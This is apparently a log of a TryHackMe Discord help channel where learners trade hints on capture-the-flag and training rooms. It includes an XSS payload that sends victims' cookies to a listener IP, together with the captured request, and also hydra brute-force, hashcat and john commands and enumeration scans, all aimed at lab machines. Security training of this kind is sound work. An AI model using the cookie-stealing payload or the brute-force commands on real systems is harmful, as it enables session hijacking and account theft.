silver creek Hi can someone gimme a hint of how to solve Q4 What is the content of the flagUS...

As there are no designated channels for every room, it's always helpful/necessary to post the name of the room you are in.

silver creek Dec 29, 2021, 2:11 PM

#

Windows Privesc

#

task 6

#

deft siren Dec 29, 2021, 7:43 PM

#

I'm doing https://tryhackme.com/room/gatekeeper and I downloaded the gatekeeper.exe to analyze it locally. I have loaded it in my windows VM and into IDA64. I have found the offset for the buffer overflow but I can't debug further because the program uses a thread to handle the payload and IDA doesn't break on the bad EIP. how can I debug the program, view the memory of the thread, etc?

deft siren Dec 29, 2021, 8:03 PM

#

same with immunity. it just keeps running. it tells me about the access violation and then just keeps on going because it's a thread

deft siren Dec 29, 2021, 10:37 PM

#

well i managed it with immunity. what a slog

junior wave Dec 30, 2021, 7:43 AM

#

I'm having problems with the SSRF room takes 5

#

My base 64 encoding is displaying a flag

white salmon Dec 30, 2021, 11:02 AM

#

https://tryhackme.com/room/relevant doing this room i got the credentials of user but idk where to use those credentials HELPPLEASE!!!!

TryHackMe

TryHackMe | Relevant

Penetration Testing Challenge

white salmon Dec 30, 2021, 12:20 PM

#

white salmon https://tryhackme.com/room/relevant doing this room i got the credentials of use...

i am still stuck in the same situation

raw spruce Dec 30, 2021, 12:52 PM

#

Hello fellow community members. I am completing the https://tryhackme.com/room/xss but got stuck on the KeyLogger section. Can't seem to make the script log the key presses on the /logs/ page. Any hints/help would be highly appreciated. Ty

rotund pier Dec 30, 2021, 12:55 PM

#

Heyoo
I am stuck trying to ssh into the vm in the nmap room. Could anyone provide me the user and password for it? If there is any other way to tackle the practical answers do let me know. I have tried using ssh "tryhackme@{machine-ip}", "root@{machine-ip}" and "{machine-ip}"

#

ofc all in separate commands^

white salmon Dec 30, 2021, 12:57 PM

#

rotund pier Heyoo I am stuck trying to ssh into the vm in the nmap room. Could anyone provi...

Link to that room?

rotund pier Dec 30, 2021, 12:59 PM

#

white salmon Link to that room?

https://tryhackme.com/room/furthernmap#

TryHackMe

TryHackMe | Nmap

An in depth look at scanning with Nmap, a powerful network scanning tool.

long herald Dec 30, 2021, 12:59 PM

#

Heya, I wanted help on XSS room. i'm at the last task, i'm giving the correct payload, but it dosen't seem to be working

white salmon Dec 30, 2021, 12:59 PM

#

rotund pier https://tryhackme.com/room/furthernmap#

Task?

rotund pier Dec 30, 2021, 1:00 PM

#

white salmon Task?

the practical questions...I am trying to connect to the virtual machine thru my local machines terminal(macos)

#

task 14 to be precise

long herald Dec 30, 2021, 1:01 PM

#

@rotund pier these?

rotund pier Dec 30, 2021, 1:01 PM

#

yes

white salmon Dec 30, 2021, 1:01 PM

#

rotund pier task 14 to be precise

Are you trying to SSH to the AttackBox?

rotund pier Dec 30, 2021, 1:02 PM

#

no not the AttackBox

#

the deployed machine i started in task 1

white salmon Dec 30, 2021, 1:03 PM

#

rotund pier the deployed machine i started in task 1

Hm. I don't see why would you need to SSH. Which question are you trying to answer?!

long herald Dec 30, 2021, 1:04 PM

#

white salmon Hm. I don't see why would you need to SSH. Which question are you trying to answ...

Ya, there's no need of it!

rotund pier Dec 30, 2021, 1:04 PM

#

white salmon Hm. I don't see why would you need to SSH. Which question are you trying to answ...

Well i need a linux based terminal to use modules like icmp and nmap so do i host a vbox and tackle those questions?

white salmon Dec 30, 2021, 1:07 PM

#

rotund pier Well i need a linux based terminal to use modules like icmp and nmap so do i hos...

True.
Unless you have the credentials, you can not SSH to the deployed machine. And you do not have the credentials.
Therefore, or use the AttackBox or run a Linux distro in a local Virtual Machine. Or, SSH to the AttackBox.

rotund pier Dec 30, 2021, 1:08 PM

#

ok makes sense thanks

rocky echo Dec 30, 2021, 1:48 PM

#

Good morning

#

Can someone help me with a question located on Windows Fundamentals 1 room

#

its this one

#

Besides Clock, Volume, and Network, what other icon is visible in the Notification Area?

#

Answer format: ****** ******

#

Answer format: xxxxxx xxxxxx

white salmon Dec 30, 2021, 1:51 PM

#

@inland onyx

#

Thanks.

white salmon Dec 30, 2021, 2:04 PM

#

rocky echo Answer format: xxxxxx xxxxxx

Could you post a screenshot or alternatively provide a link to that room?

rocky echo Dec 30, 2021, 2:05 PM

#

https://tryhackme.com/room/windowsfundamentals1xbx

#

It's the last question from the task 3

white salmon Dec 30, 2021, 2:07 PM

#

rocky echo It's the last question from the task 3

Since you are looking for just a hint, perhaps try to go to Task Bar settings by right-clicking on it and then choose "Which icons appear on the taskbar"
It's just a guess of mine.

#

Haven't Windows installed in front of me now, but I got the idea by looking at the room where they have a screenshot of such a menu.

rocky echo Dec 30, 2021, 2:24 PM

#

white salmon Since you are looking for just a hint, perhaps try to go to Task Bar settings by...

I did it, but i still havent found the answer :C

#

All the icons that I found dont match, battery power, keyboard language

white salmon Dec 30, 2021, 2:30 PM

#

rocky echo All the icons that I found dont match, battery power, keyboard language

I am sorry, I don't have Windows in front of me. Try right-clicking on them and get some more information. If you want a hint: It starts with an ||A||

rocky echo Dec 30, 2021, 2:36 PM

#

found it!

white salmon Dec 30, 2021, 2:36 PM

#

rocky echo found it!

Wow! How?

rocky echo Dec 30, 2021, 2:36 PM

#

Thanks @white salmon!

green minnowBOT Dec 30, 2021, 2:36 PM

#

Gave +1 Rep to @versed shadow

rocky echo Dec 30, 2021, 2:37 PM

#

i research trough microsoft documentation

#

But i only found it with ur hint haha

white salmon Dec 30, 2021, 2:39 PM

#

rocky echo But i only found it with ur hint haha

Doesn't matter :) Great job. Keep it coming.

rocky echo Dec 30, 2021, 2:40 PM

#

coolguy

zenith tendon Dec 30, 2021, 3:41 PM

#

Room: Madness: https://tryhackme.com/room/madness , it is not possible to connect through SSH using credentials found. Did anyone solved recently this room to confirm if it worked lately ? I have the right credentials as i verified different writeups and it appears that i had used the correct credentials...but for some reason the machine do not accept them. Tried to restart 2-3 times but same results 😦

white salmon Dec 30, 2021, 3:58 PM

#

zenith tendon Room: Madness: https://tryhackme.com/room/madness , it is not possible to connec...

Can you please add -v to your command and post the error message here?

zenith tendon Dec 30, 2021, 4:14 PM

#

white salmon Can you please add `-v` to your command and post the error message here?

i found the problem(a typo), thank you for your availability

green minnowBOT Dec 30, 2021, 4:14 PM

#

Gave +1 Rep to @versed shadow

lean widget Dec 30, 2021, 4:24 PM

#

hi, is it possible to get root shell in Vulnversity room, instead of just 'cat'-ing the flag? edit: got it!

wary totem Dec 30, 2021, 4:43 PM

#

Can I get a hint for the room: "Hacking with Powershell". I'm stuck on Task 4: "Find the contents of a backup file"
I tried using this powershell command to look for all files on the C-drive that contain the word backup:
get-childitem -path C:\ -recurse -force -erroraction silentlycontinue -filter 'backup*'

wary totem Dec 30, 2021, 5:07 PM

#

also the walkthrough link on that same room isnt working

raw token Dec 30, 2021, 5:39 PM

#

Hey,I'm doing the Jr. Penetration path's XSS room and in the last question I'm a bit stuck. The final question is : What is the value of the staff-session cookie?. I'm providing the payload I'm using which receives the cookie in the listener on my machine i've set up and after decoding the value and posting it it still keeps saying wrong answer. 😦

#

My payload is </textarea><script>fetch('http://10.14.17.24:9001?cookie=' + btoa(document.cookie) );</script>

#

In the listener i've got a hit

#

connect to [10.14.17.24] from (UNKNOWN) [10.14.17.24] 47790
GET /?cookie=c2Vzc2lvbj1jMjAwMThkYTcyM2U5NGY2OGM5M2Y4NmU4NmRjMGU0OQ== HTTP/1.1
Host: 10.14.17.24:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.40.71/
Origin: http://10.10.40.71
Connection: keep-alive

#

that cookie decodes to session=c20018da723e94f68c93f86e86dc0e49

#

and i still get "Uh-oh! Your answer is incorrect."

white salmon Dec 30, 2021, 5:45 PM

#

zenith tendon Room: Madness: https://tryhackme.com/room/madness , it is not possible to connec...

I'm doing that room just now

raw token Dec 30, 2021, 5:48 PM

#

i hope it works for you

#

room is very well explained

#

but i keep hitting the wall with that final question

white salmon Dec 30, 2021, 5:50 PM

#

Nah, I can't find the second passphrase. 😂

opal remnant Dec 30, 2021, 7:04 PM

#

I'm stuck on one of the learning rooms. I'm doing question "[Severity 8] Insecure Deserialization" in https://tryhackme.com/room/owasptop10, but I have no clue whatsoever where I should find the name.

junior wave Dec 30, 2021, 7:06 PM

#

opal remnant I'm stuck on one of the learning rooms. I'm doing question "[Severity 8] Insecur...

Could you specify which question

opal remnant Dec 30, 2021, 7:07 PM

#

Ah, task 21 "[Severity 8] Insecure Deserialization"

#

I think I'm overthinking it.

junior wave Dec 30, 2021, 7:07 PM

#

opal remnant I think I'm overthinking it.

I'm guessing you are looking for who developed tomcat?

opal remnant Dec 30, 2021, 7:08 PM

#

would that be it? It says "The tomcat application", so I'm assuming that the box you can deploy is a tomcat application.

#

I can try that. Hold on.

junior wave Dec 30, 2021, 7:08 PM

#

opal remnant I can try that. Hold on.

You know you can google stuff right?

#

This is a research question

opal remnant Dec 30, 2021, 7:09 PM

#

The question is formulated weirdly, and there is a box.

junior wave Dec 30, 2021, 7:09 PM

#

I assume that's for the tasks below

#

Just search "who developed the tomcat application" and your answers will be in bold on the top of your page

opal remnant Dec 30, 2021, 7:09 PM

#

Yeah I guess I shouldnt have assumed that it wasnt that simple.

#

My bad )

#

Yeah I already know the answer now, just didnt figure it would that.

#

Thanks though.

quick nimbus Dec 30, 2021, 8:29 PM

#

Starting to wonder how long I should be waiting with Crack the hash, Level 2, hash 3... Anyone done this one?

white salmon Dec 30, 2021, 8:33 PM

#

quick nimbus Starting to wonder how long I should be waiting with Crack the hash, Level 2, ha...

I don't remember how long this took me, but I read once that as a rule for devs of rooms, it should not take more than 5 minutes.

quick nimbus Dec 30, 2021, 8:36 PM

#

white salmon I don't remember how long this took me, but I read once that as a rule for devs ...

https://tenor.com/view/depressed-bored-boredom-swing-head-gif-17224602

quick nimbus Dec 30, 2021, 8:37 PM

#

white salmon I don't remember how long this took me, but I read once that as a rule for devs ...

20 min and counting... Time for some Halo.

junior wave Dec 30, 2021, 8:52 PM

#

quick nimbus Starting to wonder how long I should be waiting with Crack the hash, Level 2, ha...

If it takes more than 5 min with rockyou.txt you are probably doing it wrong

white salmon Dec 30, 2021, 9:28 PM

#

quick nimbus 20 min and counting... Time for some Halo.

John or hashcat?

quick nimbus Dec 30, 2021, 9:29 PM

#

white salmon John or hashcat?

hashcat

white salmon Dec 30, 2021, 9:29 PM

#

quick nimbus hashcat

-m ???

quick nimbus Dec 30, 2021, 9:29 PM

#

1hr and 11 min.

#

-m 1800... goinna run it on my desktop and see how long it takes. Probably my anemic laptop

white salmon Dec 30, 2021, 9:31 PM

#

quick nimbus -m 1800... goinna run it on my desktop and see how long it takes. Probably my an...

running hashcat in VM?

junior wave Dec 30, 2021, 9:31 PM

#

Uh oh

#

Lmao

quick nimbus Dec 30, 2021, 9:31 PM

#

bare metal 2010 macbook pro

#

That was a test of my patience

alpine kestrel Dec 30, 2021, 9:37 PM

#

hashcat can work faster with the help of a gpu too

quick nimbus Dec 30, 2021, 9:42 PM

#

I see the issue now, and it's a major off topic answer. Apple and their EFI issues make the GPU inaccessible to me.

white salmon Dec 30, 2021, 9:47 PM

#

quick nimbus I see the issue now, and it's a major off topic answer. Apple and their EFI issu...

Spoiler:
#bot-commands message

#

@quick nimbus But good to know :) @alpine kestrel

trail beacon Dec 31, 2021, 5:59 AM

#

Im trying to run metasploit for the ToolsRUs room

#

Im deploying an exploit

#

but a session isnt generating

#

I ensured my HttpPassword, User, Rport, and rhost is set correctly

#

Then i run the exploit

#

Then i get a message saying "Exploit completed but no session was created

left thunder Dec 31, 2021, 7:16 AM

#

trail beacon Then i get a message saying "Exploit completed but no session was created

Solved it meanwhile ?

trail beacon Dec 31, 2021, 7:32 AM

#

I gave up haha😅 will revisit tmr

#

I’d post an image if I had perms

left thunder Dec 31, 2021, 7:35 AM

#

trail beacon I’d post an image if I had perms

Verify your THM profile and you'll be able to post screens in here.

#

!docs verify

proud scarabBOT Dec 31, 2021, 7:35 AM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

digital bay Dec 31, 2021, 3:51 PM

#

Hey guys, I was doing phising email 1 room in tryhackme, I am not able to decode the base64 email2.txt file, maybe I am copy pasting the wrong data, can anyone help me ?

white salmon Dec 31, 2021, 4:13 PM

#

Which task are you on?

north ferry Dec 31, 2021, 5:56 PM

#

digital bay Hey guys, I was doing phising email 1 room in tryhackme, I am not able to decode...

Look at the format of the file name

#

not the actual .txt but inside of the .txt file

quick nimbus Dec 31, 2021, 9:07 PM

#

Just a little update from yesterday. Got Nvidia Cuda tools installed on my windows box, and ran hashcat there. 71min on the craptop vs 32 seconds on the desktop.

umbral tundra Jan 1, 2022, 7:32 PM

#

/join #deleted-channel

hoary sonnet Jan 1, 2022, 7:59 PM

#

"What hash format are modern Windows login passwords stored in?"

#

i dont quite understand this question

#

i wrote an NT or LM hash and it gave incorrect

obtuse brook Jan 1, 2022, 8:05 PM

#

LM -> NTLM -> NTLMv2

#

It's worth understanding the differences because they make defense and penetration very different.

hoary sonnet Jan 1, 2022, 8:07 PM

#

obtuse brook It's worth understanding the differences because they make defense and penetrati...

ohh

#

thanks

runic tangle Jan 1, 2022, 9:32 PM

#

Anyone doing MLSC CTF? I want a hint on 3rd task since I found somewhat that looks like flag format while researching, but the string I found ain't a valid one to complete the task..

tulip wraith Jan 2, 2022, 2:54 PM

#

May I ask how ta make pickle work cause Ive download the pickle files and I have only this I don,t understand how to configure it for OWASP top 10

#

left thunder Jan 2, 2022, 3:02 PM

#

tulip wraith May I ask how ta make pickle work cause Ive download the pickle files and I have...

I think you downloaded the wrong stuff. The actual code for that task is on the github page when you click on the revision tab and scroll down a bit. It's not intended to be like that, but at least you can find it there.

tulip wraith Jan 2, 2022, 3:03 PM

#

But I've click on the OWASP top 10 link directly for the pickle file...

#

why I got something else

tulip wraith Jan 2, 2022, 3:09 PM

#

left thunder I think you downloaded the wrong stuff. The actual code for that task is on the ...

https://gist.github.com/CMNatic/af5c19a8d77b4f5d8171340b9c560fc3I find this on github noting else when I click on the link they said to click

#

sorry wrong link

#

thi is why Ive modify

left thunder Jan 2, 2022, 3:10 PM

#

tulip wraith thi is why Ive modify

As I said, follow the link in the room, then click on the "revisions" tab and scroll down a bit

tulip wraith Jan 2, 2022, 3:11 PM

#

ok I'll search again :S

#

I just need the rce.py ?

left thunder Jan 2, 2022, 3:16 PM

#

tulip wraith I just need the rce.py ?

Yes

tulip wraith Jan 2, 2022, 3:17 PM

#

ok good it work now I was so confuse

tulip wraith Jan 2, 2022, 3:17 PM

#

left thunder Yes

thx

green minnowBOT Jan 2, 2022, 3:17 PM

#

Gave +1 Rep to @left thunder

white salmon Jan 2, 2022, 3:19 PM

#

I finished that room last night, it's a good room.

#

I did find a flag I can't put anywhere in the room, so I wonder if the website is used for a different room task.

#

I tried asking Ben, but he's never around.

left thunder Jan 2, 2022, 3:23 PM

#

white salmon I did find a flag I can't put anywhere in the room, so I wonder if the website i...

Which site of that room you mean, the juice shop ?

#

In case the juice shop is even in there ^^

white salmon Jan 2, 2022, 3:25 PM

#

Nah, it was the website where you used the cookies to log in as admin.

#

With the message from Tony the Tiger.

tulip wraith Jan 2, 2022, 3:30 PM

#

Or the flag for answering the quizz too

#

It goes nowhere

white salmon Jan 2, 2022, 3:31 PM

#

^ That's the one I was asking.

tulip wraith Jan 2, 2022, 3:31 PM

#

Oh sorry xD

white salmon Jan 2, 2022, 3:33 PM

#

I got that flag, couldn't find an input, so I was wondering if it was scrapped or goes elsewhere.

tulip wraith Jan 2, 2022, 3:34 PM

#

Probably scrapped

#

Or it's an easter egg

static gust Jan 2, 2022, 8:13 PM

#

@inland cargo ok i give up 😂

#

can you give me a hint for pickle rick

#

i've got the username

#

just dont know where to go with it next

#

tried ||ssh but it showed i need public key||

inland cargo Jan 2, 2022, 8:13 PM

#

Haha one sec, share me the room link

static gust Jan 2, 2022, 8:13 PM

#

https://tryhackme.com/room/picklerick

TryHackMe

TryHackMe | Pickle Rick

A Rick and Morty CTF. Help turn Rick back into a human!

inland cargo Jan 2, 2022, 8:15 PM

#

Okay great, can you show me the command you used for your nmap scan?

static gust Jan 2, 2022, 8:16 PM

#

nmap -sV [ip]

inland cargo Jan 2, 2022, 8:17 PM

#

Okay and which ports were open?

static gust Jan 2, 2022, 8:17 PM

#

||80 and 22||

inland cargo Jan 2, 2022, 8:17 PM

#

Lets try this nmap -sCV -T4 $IP -p 22,80

static gust Jan 2, 2022, 8:19 PM

#

inland cargo Jan 2, 2022, 8:20 PM

#

Hmm okay and did you do a dirbuster scan?

static gust Jan 2, 2022, 8:20 PM

#

i tried gobuster

#

using dirbuster/directory-list-1.0.txt word list

#

found ||/assets||

inland cargo Jan 2, 2022, 8:20 PM

#

And what extensions were you looking for?

static gust Jan 2, 2022, 8:21 PM

#

oh i was only checking directories with that command, i also tried using /dirb/common.txt for .pub files

inland cargo Jan 2, 2022, 8:21 PM

#

I normally add html,txt,php if it's running php.

static gust Jan 2, 2022, 8:21 PM

#

hmm I'll try those and let you know if i find anything

#

ah found something

#

thank you

#

found a ||login.php|| i'll try this on my own

#

@inland cargo oh one more thing, is there a way to load rockyou into burpsuite without it crashing lol

#

or maybe i should try hydra, iirc it can do post requests too

inland cargo Jan 2, 2022, 8:24 PM

#

Ye I don't use burp for bruteforcing

#

Also you want to look for files too, just not dirs cPES_Wink

static gust Jan 2, 2022, 8:25 PM

#

i tried for .pub cause i saw ssh required a public key

#

but i didnt think about php and other files

#

@inland cargo Could you let me know if the following syntax is correct?
I'd rather not wait 78 hours of bruteforcing with rockyou to find out 😂
||hydra -l $USERNAME -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login.php/:username=^USER^&password=^PASS^&sub=Login:S=Incorrect"||

inland cargo Jan 2, 2022, 8:52 PM

#

static gust <@!741671992398184459> Could you let me know if the following syntax is correct?...

Okay, you tried bruteforcing, let's go back to enum.

#

Have you tried nikto?

static gust Jan 2, 2022, 8:52 PM

#

im bruteforcing atm

#

7 minutes in

#

no

#

7+ minutes in

#

not sure exactly how long its been

#

15 mins*

#

tried 185k passes so far

static gust Jan 2, 2022, 8:53 PM

#

inland cargo Have you tried nikto?

i'll try that now

inland cargo Jan 2, 2022, 8:54 PM

#

Bruteforcing is not that path forward

static gust Jan 2, 2022, 8:55 PM

#

is it simply nikto -host [ip] ?

#

or do i need other options

inland cargo Jan 2, 2022, 8:55 PM

#

Yup

static gust Jan 2, 2022, 8:55 PM

#

okay, running rn

#

still running hydra for now just in case, i'll stop it at 20 mins or smth

#

might try sqlmap next on the login page

#

#

nikto didnt seem to find anything new

#

sqlmap didnt find anything either

#

simply did sqlmap -u [ip] --forms

#

think i might just give up on this one and go for an easier one, probably toolsrus

#

and come back to it when im more experienced

inland cargo Jan 2, 2022, 9:02 PM

#

static gust and come back to it when im more experienced

Did you add the extensions like I asked?

static gust Jan 2, 2022, 9:02 PM

#

extensions to where?

#

gobuster?

inland cargo Jan 2, 2022, 9:02 PM

#

Yup

static gust Jan 2, 2022, 9:02 PM

#

i found a login page with it

#

already have the username

#

just no pass

inland cargo Jan 2, 2022, 9:03 PM

#

You still need a pass, you tried bruteforcing but that's not the way

static gust Jan 2, 2022, 9:03 PM

#

seems so

inland cargo Jan 2, 2022, 9:03 PM

#

So let's enumerate some more

#

Show me your gobuster command

static gust Jan 2, 2022, 9:04 PM

#

gobuster dir -u ip -w /usr/share/wordlists/dirb/common.txt -x html,txt,php

inland cargo Jan 2, 2022, 9:04 PM

#

And the gobuster output?

static gust Jan 2, 2022, 9:04 PM

#

||/.hta (Status: 403) [Size: 291]
/.hta.html (Status: 403) [Size: 296]
/.hta.txt (Status: 403) [Size: 295]
/.htaccess (Status: 403) [Size: 296]
/.hta.php (Status: 403) [Size: 295]
/.htpasswd.php (Status: 403) [Size: 300]
/.htaccess.html (Status: 403) [Size: 301]
/.htpasswd (Status: 403) [Size: 296]
/.htaccess.txt (Status: 403) [Size: 300]
/.htpasswd.html (Status: 403) [Size: 301]
/.htaccess.php (Status: 403) [Size: 300]
/.htpasswd.txt (Status: 403) [Size: 300]
/assets (Status: 301) [Size: 313] [--> http://10.10.38.210/assets/]
/denied.php (Status: 302) [Size: 0] [--> /login.php]
/index.html (Status: 200) [Size: 1062]
/index.html (Status: 200) [Size: 1062]
/login.php (Status: 200) [Size: 882]
/portal.php (Status: 302) [Size: 0] [--> /login.php]
/robots.txt (Status: 200) [Size: 17]
/robots.txt (Status: 200) [Size: 17]
/server-status (Status: 403) [Size: 300]||

inland cargo Jan 2, 2022, 9:05 PM

#

robots.txt 👀

static gust Jan 2, 2022, 9:05 PM

#

oh crap

#

i seen smth there before

inland cargo Jan 2, 2022, 9:05 PM

#

Should always check that out for a web server.

static gust Jan 2, 2022, 9:05 PM

#

didnt try it as pass tho

#

._.

#

that was the pass

ripe hedge Jan 2, 2022, 9:09 PM

#

static gust <@!741671992398184459> Could you let me know if the following syntax is correct?...

S=Incorrect seems wrong to me, you're indicating that "Incorrect" should appear in the event of a Success...

ripe hedge Jan 2, 2022, 9:10 PM

#

static gust still running hydra for now just in case, i'll stop it at 20 mins or smth

room dev rules state that any bruteforcing should take no more than 5 minutes on the attackbox

static gust Jan 2, 2022, 9:10 PM

#

Ah I see

static gust Jan 2, 2022, 9:10 PM

#

ripe hedge `S=Incorrect` seems wrong to me, you're indicating that "Incorrect" should appea...

oops

inland cargo Jan 2, 2022, 9:10 PM

#

Ah yes, it should have been F=incorrect

#

My B, didn't spot that earlier.

ripe hedge Jan 2, 2022, 9:11 PM

#

make sure you get the case right

static gust Jan 2, 2022, 9:11 PM

#

odd, s=incorrect should have found it on the first pass then

ripe hedge Jan 2, 2022, 9:11 PM

#

it's bloody finicky

static gust Jan 2, 2022, 9:17 PM

#

crap i broke it

ripe hedge Jan 2, 2022, 9:18 PM

#

happens

static gust Jan 2, 2022, 9:19 PM

#

ok fixed

#

time for the final answerr

ripe hedge Jan 2, 2022, 9:25 PM

#

glhf

static gust Jan 2, 2022, 9:31 PM

#

#

😄

inland cargo Jan 2, 2022, 9:34 PM

#

static gust 😄

buttdance

spark prairie Jan 3, 2022, 12:20 AM

#

hey, can someone please help me with phishing email 1?

#

i decoded the text but i cannot find a flag

#

nevermind

candid viper Jan 3, 2022, 8:43 AM

#

Can I pm someone about the third flag (binary exploit) on theseus? I have it working locally but I'm having trouble getting it to work on labyrinth. even set up a tunnel to run pwntools 'locally' on the machine and it's still not working.

terse eagle Jan 3, 2022, 9:40 AM

#

candid viper Can I pm someone about the third flag (binary exploit) on theseus? I have it wor...

I can try to help if youre down

candid viper Jan 3, 2022, 9:47 AM

#

terse eagle I can try to help if youre down

I literally just got it working after many hours of frustration. Thank you though!

green minnowBOT Jan 3, 2022, 9:47 AM

#

Gave +1 Rep to @terse eagle

terse eagle Jan 3, 2022, 9:48 AM

#

candid viper I literally just got it working after many hours of frustration. Thank you thoug...

can I DM you for some help with the room? haha

candid viper Jan 3, 2022, 9:50 AM

#

Sure thing 🙂

zinc ivy Jan 3, 2022, 11:05 AM

#

candid viper Can I pm someone about the third flag (binary exploit) on theseus? I have it wor...

If it's the th**** binary you don't have to use binex to get past this!

candid viper Jan 3, 2022, 11:06 AM

#

zinc ivy If it's the th**** binary you don't have to use binex to get past this!

Wait really, I ended up doing binexp, mind pmming me? Would be curious to know what the other routes were

zinc ivy Jan 3, 2022, 11:07 AM

#

candid viper Wait really, I ended up doing binexp, mind pmming me? Would be curious to know w...

Sure, PM if you want.

tribal burrow Jan 3, 2022, 12:56 PM

#

Hello there. For a school project I have to do some "basic" hacks on a website. After using nmap on the site to check opened ports, I found 3 diferents ports wich they all give me an auth request with username and password that I don't have obviously, any tips ?

left thunder Jan 3, 2022, 12:58 PM

#

tribal burrow Hello there. For a school project I have to do some "basic" hacks on a website. ...

So it's not for a room on THM ?

cedar anvil Jan 3, 2022, 12:59 PM

#

sounds sus

tribal burrow Jan 3, 2022, 12:59 PM

#

left thunder So it's not for a room on THM ?

it is but on a secret room I guess

left thunder Jan 3, 2022, 12:59 PM

#

tribal burrow it is but on a secret room I guess

So what's the link to that room ?

cedar anvil Jan 3, 2022, 1:00 PM

#

👀

tribal burrow Jan 3, 2022, 1:01 PM

#

left thunder So what's the link to that room ?

https://tryhackme.com/room/thebindingofcyber

left thunder Jan 3, 2022, 1:03 PM

#

tribal burrow https://tryhackme.com/room/thebindingofcyber

Hmm, hard to tell if it's really for a "school project" or for something else ^^ .. So dunno.

tribal burrow Jan 3, 2022, 1:05 PM

#

left thunder Hmm, hard to tell if it's really for a "school project" or for something else ^^...

It is, I can prove you in PM if you want

left thunder Jan 3, 2022, 1:06 PM

#

tribal burrow It is, I can prove you in PM if you want

Sure why not, I'm happy to help if it's for legit purpose 🙂

compact surge Jan 3, 2022, 2:19 PM

#

having issue with john

#

trying to crack simple LM hash

#

john --show jon_hash 
Jon::1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

1 password hash cracked, 0 left```

#

I use rockyou and as the hint says, the pass is in there

#

question is why john fools me that he cracked it

#

john --wordlist=/usr/share/wordlists/rockyou.txt --format=LM jon_hash

cedar anvil Jan 3, 2022, 2:22 PM

#

try cracking just the hashes without the colons and all that

#

like aad3b435b51404eeaad3b435b51404ee
ffb43f0de35be4d9917ac0cc8ad57f8d

compact surge Jan 3, 2022, 2:24 PM

#

root@kali:/home/nism0/THM# cat jon_hash 
aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d
root@kali:/home/nism0/THM# rm ~/.john/john.pot
root@kali:/home/nism0/THM# john --wordlist=/usr/share/wordlists/rockyou.txt --format=LM jon_hash 
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 2 password hashes with no different salts (LM [DES 256/256 AVX2])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2022-01-03 15:23) 0g/s 9990Kp/s 9990Kc/s 19980KC/s !!1QWER..*7¡VA
Session completed. 
root@kali:/home/nism0/THM# john --show jon_hash 
0 password hashes cracked, 2 left
root@kali:/home/nism0/THM#

#

btw - afair john had no such issues before with that format

#

like here

#

https://medium.com/secstudent/using-john-the-ripper-with-lm-hashes-f757bd4fb094

Medium

Using John The Ripper with LM Hashes

Although projects like Hashcat have grown in popularity, John the Ripper still has its place for cracking passwords. One of the advantages…

cedar anvil Jan 3, 2022, 2:31 PM

#

I meant crack individual hashes

#

not combined with :

#

anywho ||hashcat -m 1000 -a 0 ffb43f0de35be4d9917ac0cc8ad57f8d rockyou.txt|| should do the trick

compact surge Jan 3, 2022, 2:32 PM

#

frankly, I prefer hashcat over john, but I'm on vm at work so no hashcat here

cedar anvil Jan 3, 2022, 2:32 PM

#

oic

#

ntlm hashes are usually easy to crack

#

www.crackstation.net might work

compact surge Jan 3, 2022, 2:33 PM

#

yup. I did full upgrade last time so maybe it broke john somehow

#

thanks anyway

#

I'll keep digging

cedar anvil Jan 3, 2022, 2:34 PM

#

I tried to solve it in #bot-commands

#

the password might be empty?

compact surge Jan 3, 2022, 2:35 PM

#

that's exactly what give me my john

#

however, this seems not to be the right answer

cedar anvil Jan 3, 2022, 2:37 PM

#

yeh just cracked it on https://crackstation.net/

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Ra...

Crackstation is the most effective hash cracking service. We crack: MD5, SHA1, SHA2, WPA, and much more...

compact surge Jan 3, 2022, 2:37 PM

#

no way

#

i tried CS

cedar anvil Jan 3, 2022, 2:37 PM

#

only the latter part gives a valid answer ffb43f0de35be4d9917ac0cc8ad57f8d

compact surge Jan 3, 2022, 2:37 PM

#

-.-

#

awwww

#

thanks man

cedar anvil Jan 3, 2022, 2:38 PM

#

No problem, it was fun!

fringe turtle Jan 3, 2022, 3:26 PM

#

Did anyone completed the room Phishing mails 1??

#

Im stuck at question first of task-6 and i have no idea

fringe turtle Jan 3, 2022, 3:58 PM

#

fringe turtle Did anyone completed the room Phishing mails 1??

Got it from different room

wraith glade Jan 3, 2022, 9:09 PM

#

Good evening everyone

#

am new here, please where will I start

junior wave Jan 3, 2022, 9:13 PM

#

wraith glade am new here, please where will I start

#start-here

dark owl Jan 3, 2022, 10:48 PM

#

hi i dont understand task 7 linux fundementals part 1

alpine kestrel Jan 3, 2022, 10:50 PM

#

what have you tried????

junior wave Jan 3, 2022, 10:51 PM

#

Or what don't you understand about it

dark owl Jan 3, 2022, 11:27 PM

#

junior wave Or what don't you understand about it

i dont understand the whole task

junior wave Jan 3, 2022, 11:30 PM

#

dark owl i dont understand the whole task

They are operators that you can use in a terminal along with your commands to achieve different things

#

Think of it as in the English language

#

There are sentences(commands) which communicate your ideas

#

And then there are symbols like , or ; which can joint those different sentences (operators)

#

For example I could say I walked, then I ran

#

Which would be the code equivalent of echo 'hello' > Textfile.txt

dark owl Jan 4, 2022, 12:48 AM

#

ah i understand

grand idol Jan 4, 2022, 12:52 AM

#

Anyone solve CCT2019 Task4?

pallid moss Jan 4, 2022, 2:05 PM

#

is that the openvpn room, or are you asking about running openvpn?

#

heh, figured it out?

#

so, yeah, i normally have openvpn running in one tab on my terminal, and then do stuff in other tabs

#

so, presuming you're on linux you run "sudo openvpn thisisyouropenvpnfilename.ovpn"

crisp forum Jan 4, 2022, 2:11 PM

#

not on linux

#

i am on windwows

#

windowsd

#

windows

#

sorry for my impatience

#

i realise im annoying

pallid moss Jan 4, 2022, 2:17 PM

#

crisp forum i am on windwows

ah ok, i'd recommend you try downloading virtualbox and get a kali vm running in it. it'll make your life easier going forwards 🙂

crisp forum Jan 4, 2022, 2:17 PM

#

